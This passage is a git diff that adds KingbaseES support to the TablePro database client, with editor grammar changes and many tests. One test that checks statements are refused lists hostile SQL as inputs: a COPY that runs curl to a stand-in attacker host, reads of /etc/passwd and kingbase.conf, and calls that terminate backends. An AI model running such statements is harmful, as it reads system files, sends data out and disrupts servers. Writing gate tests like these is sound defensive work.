b/apple/TablePro/Views/Editor/SQLEditorController.swift @@ -9,6 +9,7 @@ import SwiftUI import TableProEditorKit import TableProGrammars import TableProPluginKit +import TableProSQLGrammar import TableProTextEngine /// What a query tab hands the SQL editor on every update. @@ -63,6 +64,11 @@ final class SQLEditorController { private var pendingCaret: [CursorPosition]? private var cancellables: Set = [] private var isTornDown = false + // One instance, because `SourceEditor` keeps the provider it was created with and a new grammar has to reach it. + private lazy var foldProvider: LineFoldProvider? = FoldProviderResolver.provider( + for: input.databaseType ?? .mysql, + grammar: coordinator.lexicalGrammar + ) var textViewController: TextViewController { guard let host else { preconditionFailure("SQLEditorController used before init finished") } @@ -84,6 +90,7 @@ final class SQLEditorController { observeEditorSettings() observeVimMode() + observeSessionChanges() configureCompletion() setupFavoritesObserver() subscribeToCompletionRevision() @@ -160,6 +167,36 @@ final class SQLEditorController { if let restoredFoldRanges = input.restoredFoldRanges { coordinator.scheduleFoldRestore(restoredFoldRanges) } + // Also on every run's start and end, which is when a `SET` can have changed a session flag. + refreshSessionGrammar() + } + + /// The grammar the session lexes with: KingbaseES in Oracle mode, MySQL under `NO_BACKSLASH_ESCAPES`, or + /// PostgreSQL with `standard_conforming_strings` off each split text differently from the engine's default. + private func refreshSessionGrammar() { + guard let databaseType = input.databaseType else { return } + let grammar: SQLLexicalGrammar + if let scope = input.databaseScope { + grammar = SQLLexicalResolver.executionGrammar(for: databaseType, scope: scope) + } else if let connectionId = input.connectionId { + grammar = SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: connectionId) + } else { + grammar = databaseType.lexicalGrammar + } + guard grammar != coordinator.sessionGrammar else { return } + coordinator.setSessionGrammar(grammar) + (foldProvider as? SQLLineFoldProvider)?.grammar = grammar + configureCompletion() + } + + private func observeSessionChanges() { + AppEvents.shared.connectionStatusChanged + .receive(on: RunLoop.main) + .sink { [weak self] change in + guard let self, !self.isTornDown, change.connectionId == self.input.connectionId else { return } + self.refreshSessionGrammar() + } + .store(in: &cancellables) } private func makeEditor(state: Binding) -> SourceEditor { @@ -176,7 +213,7 @@ final class SQLEditorController { language: PluginManager.shared.editorLanguage(for: databaseType).treeSitterLanguage, configuration: configuration, state: state, - foldProvider: FoldProviderResolver.provider(for: databaseType), + foldProvider: foldProvider, coordinators: [coordinator], completionDelegate: completionAdapter ) @@ -273,7 +310,8 @@ final class SQLEditorController { schemaProvider: input.schemaProvider, databaseType: input.databaseType, profile: completionProfile, - connectionId: input.connectionId + connectionId: input.connectionId, + grammar: coordinator.sessionGrammar ) } diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift index 52d59a7a87..64b6516e21 100644 --- a/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift +++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift @@ -13,12 +13,11 @@ extension SQLEditorCoordinator { guard let controller, let textView = controller.textView, textView.isEditable else { return } let string = textView.string let scope = FormatScopeResolver.resolve(fullText: string, selectedRange: textView.selectedRange()) - let resolvedType = databaseType ?? .mysql let replacements = InvisibleCharacterRemover.replacements( in: string as NSString, scope: scope.range, skippingLiteralsAndComments: !scope.isSelection, - grammar: resolvedType.lexicalGrammar, + grammar: lexicalGrammar, lineEnding: textView.layoutManager.detectedLineEnding.rawValue ) guard !replacements.isEmpty else { return } diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift index 460f472702..61f0e35e5a 100644 --- a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift +++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift @@ -131,6 +131,12 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie var tabID: UUID? var connectionId: UUID? var sourceFileURL: URL? + /// The connection's execution grammar, which `SQLEditorController` sets from the live session. + private(set) var sessionGrammar: SQLLexicalGrammar? + + var lexicalGrammar: SQLLexicalGrammar { + sessionGrammar ?? (databaseType ?? .mysql).lexicalGrammar + } /// Whether the editor text view is currently the first responder. /// Used to guard cursor propagation — when the find panel highlights @@ -191,7 +197,7 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie installFoldPreview(controller: controller) installStatementRunControls(controller: controller) installInlineSuggestionManager(controller: controller) - diagnosticsController.configure(databaseType: databaseType) + diagnosticsController.configure(databaseType: databaseType, grammar: lexicalGrammar) diagnosticsController.install(on: controller) diagnosticsController.scheduleRefresh(for: controller) applyKeyBindings(controller: controller) @@ -362,7 +368,7 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie } private func installStatementRunControls(controller: TextViewController) { - statementRunController.grammar = (databaseType ?? .mysql).lexicalGrammar + statementRunController.grammar = lexicalGrammar statementRunController.statementModel = QueryStatementModel.forDatabaseType(databaseType ?? .mysql) statementRunController.isHighlightEnabled = AppSettingsManager.shared.editor.highlightCurrentStatement statementRunController.onRun = { [weak self] sql, offset in @@ -371,6 +377,21 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie statementRunController.install(on: controller) } + /// Moves the run controls and diagnostics to `grammar`, as a connect, a reconnect or a `SET` changes it. + func setSessionGrammar(_ grammar: SQLLexicalGrammar) { + guard grammar != sessionGrammar else { return } + sessionGrammar = grammar + guard hasInstalledEditorServices, !isDestroyed, let controller else { return } + statementRunController.grammar = grammar + statementRunController.refreshControls(in: controller) + statementRunController.refreshHighlight(in: controller) + diagnosticsController.configure(databaseType: databaseType, grammar: grammar) + refreshDiagnostics( + in: controller, + isLargeDocument: controller.textView.textStorage.length > Self.languageServiceLengthLimit + ) + } + /// Turns the run controls off for the length of a query, because a tab runs one at a time. func setStatementRunControlsEnabled(_ isEnabled: Bool) { statementRunController.setEnabled(isEnabled, in: controller) diff --git a/apple/TablePro/Views/Import/ImportDialog.swift b/apple/TablePro/Views/Import/ImportDialog.swift index dc8ad9a6af..7763ff9013 100644 --- a/apple/TablePro/Views/Import/ImportDialog.swift +++ b/apple/TablePro/Views/Import/ImportDialog.swift @@ -443,7 +443,7 @@ struct ImportDialog: View { forPreview: previewData, isWholeFile: previewData.count < maxPreviewSize, family: TransactionEngineFamily.of(connection.type), - grammar: connection.type.lexicalGrammar + grammar: sessionGrammar ) { Self.logger.info("Preview did not decode as \(selectedEncoding.rawValue, privacy: .public); switching to the detected \(detected.rawValue, privacy: .public)") detectedEncoding = detected @@ -464,6 +464,12 @@ struct ImportDialog: View { } } + /// What the import itself splits with, so the count and the detected encoding match the run. + @MainActor + private var sessionGrammar: SQLLexicalGrammar { + SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id) + } + @MainActor private func countStatements(url: URL) async { isCountingStatements = true @@ -471,7 +477,7 @@ struct ImportDialog: View { do { let encoding = selectedEncoding.encoding - let grammar = connection.type.lexicalGrammar + let grammar = sessionGrammar let parser = SQLFileParser() let count = try await Task.detached { try await parser.countStatements(url: url, encoding: encoding, grammar: grammar) diff --git a/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift b/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift index d89527b5ae..1ee644392c 100644 --- a/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift +++ b/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift @@ -9,7 +9,7 @@ enum IOSConnectionImportService { // Mac plugin type ids with no DatabaseType constant. static let recognizedTypeIds: Set = Set( (DatabaseType.allKnownTypes + [.cockroachdb, .scylladb, .turso]).map(\.rawValue) - ).union(["SAP HANA", "Elasticsearch", "Typesense", "PGlite", "Presto"]) + ).union(["SAP HANA", "Elasticsearch", "Typesense", "PGlite", "Presto", "KingbaseES"]) static func environment(for appState: AppState) -> ImportEnvironment { ImportEnvironment( diff --git a/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift b/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift index eb1fe3b32b..8e50943f94 100644 --- a/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift +++ b/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift @@ -39,7 +39,9 @@ struct MacOnlyImportRowTests { ImportSelection.defaults(for: preview).resolution(for: row.ref) != nil } - @Test("A Mac plugin type is recognized, preselected and marked Mac only", arguments: ["Elasticsearch", "SAP HANA", "Typesense", "PGlite", "Presto"]) + @Test("A Mac plugin type is recognized, preselected and marked Mac only", arguments: [ + "Elasticsearch", "SAP HANA", "Typesense", "PGlite", "Presto", "KingbaseES", + ]) func macPluginTypeIsMarked(_ typeId: String) throws { let preview = try analyzed(type: typeId) let row = try #require(preview.connections.first) diff --git a/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift b/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift index 3df470a03e..49c4676102 100644 --- a/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift +++ b/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift @@ -48,7 +48,7 @@ struct CompareSQLLiteralTests { @Test func postgresFamilyUsesAByteaCast() throws { - for type in [DatabaseType.postgresql, .cockroachdb, .redshift, .pglite] { + for type in [DatabaseType.postgresql, .cockroachdb, .redshift, .pglite, .kingbasees] { let literal = try #require(CompareSQLLiteral.binaryLiteral(for: png, databaseType: type)) #expect(literal == "'\\x89504e47'::bytea", "\(type.rawValue) uses a bytea literal") } diff --git a/apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift b/apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift new file mode 100644 index 0000000000..0ab6f306dc --- /dev/null +++ b/apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift @@ -0,0 +1,42 @@ +import Foundation +@testable import TablePro +import TableProPluginKit +import Testing + +struct CompareSyncSessionFamilyTests { + private static let oracleMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: [.plsqlBlocks]) + private static let pgMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: []) + + @Test + func kingbaseESSyncsStructureWithPostgreSQLInPostgreSQLMode() { + #expect(CompareSyncEngineFamily.canGenerateStructureScript( + from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.pgMode + )) + #expect(CompareSyncEngineFamily.canGenerateStructureScript( + from: .kingbasees, to: .postgresql, sourceSession: Self.pgMode, targetSession: nil + )) + } + + @Test + func anOracleModeServerSyncsStructureOnlyWithAnotherOne() { + #expect(!CompareSyncEngineFamily.canGenerateStructureScript( + from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.oracleMode + )) + #expect(!CompareSyncEngineFamily.canGenerateStructureScript( + from: .kingbasees, to: .kingbasees, sourceSession: Self.pgMode, targetSession: Self.oracleMode + )) + #expect(CompareSyncEngineFamily.canGenerateStructureScript( + from: .kingbasees, to: .kingbasees, sourceSession: Self.oracleMode, targetSession: Self.oracleMode + )) + let refusal = CompareSyncEngineFamily.structureScriptRefusal( + from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.oracleMode + ) + #expect(refusal.contains("compatibility mode")) + } + + @Test + func postgreSQLStaysUnpairedWithItsOtherVariants() { + #expect(!CompareSyncEngineFamily.canGenerateStructureScript(from: .postgresql, to: .cockroachdb)) + #expect(!CompareSyncEngineFamily.canGenerateStructureScript(from: .postgresql, to: .pglite)) + } +} diff --git a/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift b/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift index 8a04459f24..cd3ae7a589 100644 --- a/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift +++ b/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift @@ -79,6 +79,13 @@ struct CrossEngineIndexTypeTests { #expect(index.ddlMethodAndKeys == "USING hnsw (a vector_l2_ops)") } + @Test("KingbaseES reports its access method from pg_am, so a PostgreSQL copy keeps it") + func kingbaseAccessMethodSurvives() { + let bloom = Self.index("items_bloom", type: "bloom").type + #expect(CrossEngineIndexTranslator.resolvedType(bloom, from: .kingbasees, to: .postgresql) == bloom) + #expect(CrossEngineIndexTranslator.resolvedType(bloom, from: .mssql, to: .postgresql) == .btree) + } + @Test("A Redshift DISTKEY and SORTKEY are left out of a PostgreSQL copy, though the two share a family") func redshiftKeysAreLeftOut() { let result = CrossEngineStructureTranslator.translate( diff --git a/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift b/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift index c5cda01873..52592591f0 100644 --- a/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift +++ b/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift @@ -181,6 +181,18 @@ struct DataWriteExecutorTests { #expect(counting.didRollBack) } + @Test("A KingbaseES keyless write that found no row is rolled back, as libpq reports a real count") + func kingbaseKeylessWriteThatMatchedNothingFails() async throws { + let counting = CountingDriver(affectedRows: 0) + await #expect(throws: DataWriteError.rowsNoLongerMatch(table: "t", expected: 1, actual: 0)) { + try await DataWriteExecutor.run( + plan(expectedRowCount: 1, matchesRowsWithoutKey: true, databaseType: .kingbasees), + on: driver(counting) + ) + } + #expect(counting.didRollBack) + } + @Test("An engine whose driver reports no real count is not held to one") func keylessWriteOnAnEngineWithoutCountsSucceeds() async throws { let counting = CountingDriver(affectedRows: 0) diff --git a/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift b/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift index 6a93d5068f..7f37204287 100644 --- a/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift +++ b/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift @@ -203,9 +203,9 @@ struct RowChangeStatementFactoryServerOwnedTests { #expect(!sql.contains("Doubled")) } - @Test - func aPostgreSQLRestoreOverridesTheSystemValue() throws { - let restored = try factory(databaseType: .postgresql, schemaName: "sales").restoreStatements( + @Test(arguments: [DatabaseType.postgresql, .pglite, .kingbasees]) + func aPostgreSQLRestoreOverridesTheSystemValue(databaseType: DatabaseType) throws { + let restored = try factory(databaseType: databaseType, schemaName: "sales").restoreStatements( rows: [["5", "a", "10"]] ) #expect(restored.prologue.isEmpty) diff --git a/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift b/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift index 34d93a9709..2f7b8a90dd 100644 --- a/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift +++ b/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift @@ -47,6 +47,29 @@ struct DatabaseAccessBridgeStatementTests { #expect(QueryClassifier.classifyTier(sent, databaseType: .postgresql) == .safe) } + @Test( + "An external statement on a KingbaseES Oracle-mode session keeps the ; after its END", + arguments: ["BEGIN x := 1; y := 2; END;", "BEGIN x := 1; y := 2; END;\n/\n"] + ) + @MainActor + func oracleModeBlockKeepsItsTerminator(sql: String) async throws { + let driver = ScriptAnsweringDriver( + connection: TestFixtures.makeConnection(database: "app", type: .kingbasees), + sessionLexicalState: TestGrammar.kingbaseESOracleSession + ) + var session = ConnectionSession(connection: driver.connection) + session.driver = driver + DatabaseManager.shared.injectSession(session, for: driver.connection.id) + defer { DatabaseManager.shared.removeSession(for: driver.connection.id) } + let scope = DatabaseScope(connectionId: driver.connection.id, database: "app", schema: nil) + + _ = try await DatabaseAccessBridge().runStatement( + scope: scope, query: sql, maxRows: 10, timeoutSeconds: 30, cancellation: nil + ) + + #expect(driver.sentStatements == ["BEGIN x := 1; y := 2; END;"]) + } + @Test("An explain behind an invisible character is not wrapped in a second explain") func explainBehindInvisibleCharacterIsNotWrapped() throws { let statement = try MCPConnectionBridge.explainStatement( diff --git a/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift b/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift index 10a2ebd9d0..4265622d87 100644 --- a/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift +++ b/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift @@ -442,6 +442,40 @@ struct FilterSQLGeneratorColumnTypeTests { #expect(postgres?.contains("'%a[bc]%'") == true) } + // '' is NULL on Oracle and on KingbaseES in Oracle mode, so `v != ''` found no row there. Measured on Oracle 23ai, + // KingbaseES V9R1C10 in both modes and PostgreSQL 18: the length form returns what `= ''` returns on PostgreSQL. + @Test( + "Is empty and is not empty test the length where '' can read as NULL", + arguments: [DatabaseType.kingbasees, .oracle] + ) + func emptyFiltersTestTheLength(databaseType: DatabaseType) { + let text = ColumnType.text(rawType: "text") + let empty = Self.engineCondition(databaseType, type: text, op: .isEmpty, value: "", dialect: Self.postgresqlDialect) + let notEmpty = Self.engineCondition( + databaseType, type: text, op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect + ) + #expect(empty == "(\"v\" IS NULL OR LENGTH(\"v\") = 0)") + #expect(notEmpty == "(\"v\" IS NOT NULL AND LENGTH(\"v\") > 0)") + } + + @Test("The length form measures the text cast of a column of unknown type, and PostgreSQL and MySQL keep = ''") + func emptyFiltersElsewhere() { + let cast = Self.engineCondition(.kingbasees, type: nil, op: .isNotEmpty, value: "", dialect: Self.castingPostgres) + let mysql = Self.engineCondition( + .mysql, type: .text(rawType: "VARCHAR"), op: .isNotEmpty, value: "", dialect: Self.mysqlDialect + ) + let integer = Self.engineCondition( + .kingbasees, type: .integer(rawType: "integer"), op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect + ) + let postgreSQL = Self.engineCondition( + .postgresql, type: .text(rawType: "text"), op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect + ) + #expect(cast == "(\"v\" IS NOT NULL AND LENGTH(CAST(\"v\" AS TEXT)) > 0)") + #expect(mysql == "(`v` IS NOT NULL AND `v` != '')") + #expect(postgreSQL == "(\"v\" IS NOT NULL AND \"v\" != '')") + #expect(integer == "\"v\" IS NOT NULL") + } + @Test("A PostgreSQL bit read as a string of digits compares quoted") func postgresBitIsQuoted() { let type = ColumnTypeClassifier(family: .postgres).classify(rawTypeName: "bit") diff --git a/apple/TableProTests/Core/Database/StartupStatementsTests.swift b/apple/TableProTests/Core/Database/StartupStatementsTests.swift index 503c3a3f1c..5f26c1f07c 100644 --- a/apple/TableProTests/Core/Database/StartupStatementsTests.swift +++ b/apple/TableProTests/Core/Database/StartupStatementsTests.swift @@ -38,6 +38,14 @@ struct StartupStatementsTests { #expect(statements == ["SET marker \"a; FLUSHALL; b\"", "CLIENT SETNAME 'line\nbreak'"]) } + @Test("A startup block on a KingbaseES Oracle-mode session runs whole") + func oracleModeBlockRunsWhole() { + let block = "BEGIN dbms_session.set_identifier('x'); END;" + #expect(DatabaseManager.startupStatements( + from: block, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle + ) == [block]) + } + @Test("Blank text holds no startup statement") func blank() { #expect(DatabaseManager.startupStatements(from: " \n ; ", databaseType: .postgresql).isEmpty) diff --git a/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift b/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift index 262e470279..3bcb48a356 100644 --- a/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift +++ b/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift @@ -76,7 +76,9 @@ struct ExternalStatementGateTests { @Test("A statement that reaches the filesystem or runs server code is refused", arguments: [ "COPY users FROM '/etc/passwd'", "COPY users TO PROGRAM 'curl attacker.example'", - "SELECT pg_read_file('/etc/passwd')" + "SELECT pg_read_file('/etc/passwd')", + "SELECT sys_read_file('kingbase.conf')", + "SELECT * FROM sys_ls_dir('.')" ]) func filesystemAndCodeRefused(sql: String) { #expect(refusal(statement(sql)) == .denied( @@ -182,6 +184,8 @@ struct ExternalStatementGateTests { ("SELECT pg_cancel_backend(123)", DatabaseType.postgresql), ("SELECT pg_terminate_backend(123)", DatabaseType.redshift), ("SELECT pg_cancel_backend(123)", DatabaseType.cockroachdb), + ("SELECT sys_terminate_backend(123)", DatabaseType.kingbasees), + ("SELECT sys_reload_conf()", DatabaseType.kingbasees), ("SELECT query_to_xml('SELECT pg_terminate_backend(123)', true, false, '')", DatabaseType.postgresql), ("EXPLAIN ANALYSE SELECT pg_terminate_backend(123)", DatabaseType.postgresql), ("KILL 123", DatabaseType.mysql), diff --git a/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift b/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift index 377c2c42be..c96879b303 100644 --- a/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift +++ b/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift @@ -90,6 +90,41 @@ struct ObjectCopyEligibilityTests { #expect(ObjectCopyEligibility.definitionEngineRefusal(from: .postgresql, to: .postgresql) == nil) } + private static let oracleModeSession = PluginSessionLexicalState( + determined: [.plsqlBlocks, .alternativeQuoting], enabled: [.plsqlBlocks, .alternativeQuoting] + ) + private static let pgModeSession = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: []) + + @Test + func kingbaseESCopiesWithPostgreSQLOnlyInPostgreSQLMode() { + #expect(ObjectCopyEligibility.engineRefusal( + from: .postgresql, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql, + sourceSession: nil, targetSession: Self.pgModeSession + ) == nil) + #expect(ObjectCopyEligibility.definitionEngineRefusal( + from: .kingbasees, to: .postgresql, sourceSession: Self.pgModeSession, targetSession: nil + ) == nil) + #expect(ObjectCopyEligibility.engineRefusal( + from: .postgresql, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql, + sourceSession: nil, targetSession: Self.oracleModeSession + ) != nil) + #expect(ObjectCopyEligibility.definitionEngineRefusal( + from: .kingbasees, to: .postgresql, sourceSession: Self.oracleModeSession, targetSession: nil + ) != nil) + } + + @Test + func kingbaseESCopiesBetweenServersOfTheSameModeOnly() { + #expect(ObjectCopyEligibility.engineRefusal( + from: .kingbasees, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql, + sourceSession: Self.oracleModeSession, targetSession: Self.oracleModeSession + ) == nil) + #expect(ObjectCopyEligibility.engineRefusal( + from: .kingbasees, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql, + sourceSession: Self.oracleModeSession, targetSession: Self.pgModeSession + ) != nil) + } + /// Copying a database onto itself either drops the rows it is about to read or doubles them. @Test func theSameScopeIsRefusedAsATarget() { diff --git a/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift b/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift index a07120e9b3..5e78070475 100644 --- a/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift +++ b/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift @@ -93,4 +93,10 @@ struct ImportTypeMapperTests { #expect(ImportTypeMapper.sqlType(for: .integer, databaseType: .clickhouse) == "INTEGER") #expect(ImportTypeMapper.sqlType(for: .boolean, databaseType: .clickhouse) == "BOOLEAN") } + @Test("KingbaseES imports keep 64-bit integers and native JSON") + func kingbaseImportTypes() { + #expect(ImportTypeMapper.sqlType(for: .integer, databaseType: .kingbasees) == "BIGINT") + #expect(ImportTypeMapper.sqlType(for: .json, databaseType: .kingbasees, serverVersion: "12.1") == "JSONB") + #expect(ImportTypeMapper.sqlType(for: .boolean, databaseType: .kingbasees) == "BOOLEAN") + } } diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift new file mode 100644 index 0000000000..88182458fc --- /dev/null +++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift @@ -0,0 +1,37 @@ +import Foundation +@testable import TablePro +import TableProPluginKit +import Testing + +@MainActor +struct PluginMetadataRegistryKingbaseESTests { + @Test("KingbaseES is offered before installation and resolves to its own registry plugin") + func registryIdentity() throws { + let registry = PluginMetadataRegistry.shared + #expect(registry.allRegisteredTypeIds().contains("KingbaseES")) + #expect(registry.pluginTypeId(for: "KingbaseES") == "KingbaseES") + #expect(DatabaseType.kingbasees.isDownloadablePlugin) + let snapshot = try #require(registry.snapshot(forRegisteredTypeId: "KingbaseES")) + let postgreSQL = try #require(registry.snapshot(forRegisteredTypeId: "PostgreSQL")) + #expect(snapshot.displayName == "KingbaseES") + #expect(snapshot.iconName == "cylinder") + #expect(snapshot.connection.tagline != postgreSQL.connection.tagline) + #expect(snapshot.defaultPort == 54_321) + #expect(snapshot.urlSchemes == ["kingbase", "kingbase8"]) + #expect(snapshot.parameterStyle == .dollar) + #expect(snapshot.schema.systemSchemaNames == PluginMetadataRegistry.kingbaseESSystemSchemaNames) + #expect(snapshot.capabilities.supportsSchemaSwitching) + #expect(snapshot.connection.additionalConnectionFields.map(\.id) == ["usePgpass", "connectionOptions"]) + } + + @Test("Both KingbaseES URL schemes keep credentials and route to the dedicated engine", arguments: ["kingbase", "kingbase8"]) + func connectionURLs(scheme: String) throws { + let parsed = try ConnectionURLParser.parse("\(scheme)://system:pass@localhost:55432/test").get() + #expect(parsed.type == .kingbasees) + #expect(parsed.host == "localhost") + #expect(parsed.port == 55_432) + #expect(parsed.database == "test") + #expect(parsed.username == "system") + #expect(parsed.password == "pass") + } +} diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift index dcbe133766..e5d6ddaacd 100644 --- a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift +++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift @@ -7,7 +7,7 @@ import Testing struct PluginMetadataRegistryTypeCountTests { private static let expectedTypeIds: Set = [ "Beancount", "BigQuery", "Cassandra", "ClickHouse", "Cloudflare D1", "Cloudflare R2 SQL", - "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka", + "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka", "KingbaseES", "libSQL", "MariaDB", "MongoDB", "MySQL", "Oracle", "PGlite", "PostgreSQL", "Redis", "Redshift", "SAP HANA", "ScyllaDB", "Snowflake", "Spanner", "SQL Server", "SQLite", "SurrealDB", "Teradata", "TiDB", "Trino", "Presto", "Turso", "Typesense", "Weaviate", "OceanBase", "Firestore", "Firebase Realtime Database", "Bigtable" diff --git a/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift b/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift index 8414620d22..b7afd70ee6 100644 --- a/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift +++ b/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift @@ -60,6 +60,15 @@ struct PostgreSQLDashboardProviderTests { #expect(try catalog(for: .cockroachdb, serverVersion: "13.0.0") == .current) } + // KingbaseES V9R1C10 reports server_version 12.1 in both modes and answers all five metrics. + @Test("KingbaseES reads the current catalog and every metric") + func kingbaseReadsCurrentCatalog() throws { + let provider = ServerDashboardQueryProviderFactory.provider(for: .kingbasees, serverVersion: "12.1") + let postgres = try #require(provider as? PostgreSQLDashboardProvider) + #expect(postgres.activityCatalog == .current) + #expect(postgres.metricSet == .full) + } + @Test("Redshift never names a pg_stat_activity column that arrived after PostgreSQL 8.0") func redshiftAsksOnlyForItsColumns() async throws { let provider = try #require( diff --git a/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift b/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift index dd219bb1c1..7cfbc7f656 100644 --- a/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift +++ b/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift @@ -33,7 +33,8 @@ struct ServerDashboardQueryProviderFactoryTests { @Test("Server engines each have one") func serverEnginesHaveOne() { let types: [DatabaseType] = [ - .postgresql, .mysql, .mariadb, .redshift, .cockroachdb, .mssql, .clickhouse, .oracle, .mongodb, .redis, + .postgresql, .kingbasees, .mysql, .mariadb, .redshift, .cockroachdb, .mssql, .clickhouse, .oracle, .mongodb, + .redis, ] for type in types { #expect(ServerDashboardQueryProviderFactory.supportsDashboard(for: type), "\(type.rawValue)") diff --git a/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift b/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift index e17903608b..1fcce57971 100644 --- a/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift +++ b/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift @@ -141,4 +141,10 @@ struct CellExpressionVocabularyTests { func updateTakesDefault(databaseType: DatabaseType, expected: Bool) { #expect(CellExpressionVocabulary.updateTakesDefault(databaseType) == expected) } + @Test("KingbaseES offers the expressions of its PostgreSQL dialect") + func kingbaseExpressions() { + #expect(Self.sql(.kingbasees, .timestamp(rawType: "TIMESTAMP")) + == Self.sql(.postgresql, .timestamp(rawType: "TIMESTAMP"))) + #expect(CellExpressionVocabulary.isCanonical("now()", for: .kingbasees)) + } } diff --git a/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift b/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift index 93fa022209..b1184108b9 100644 --- 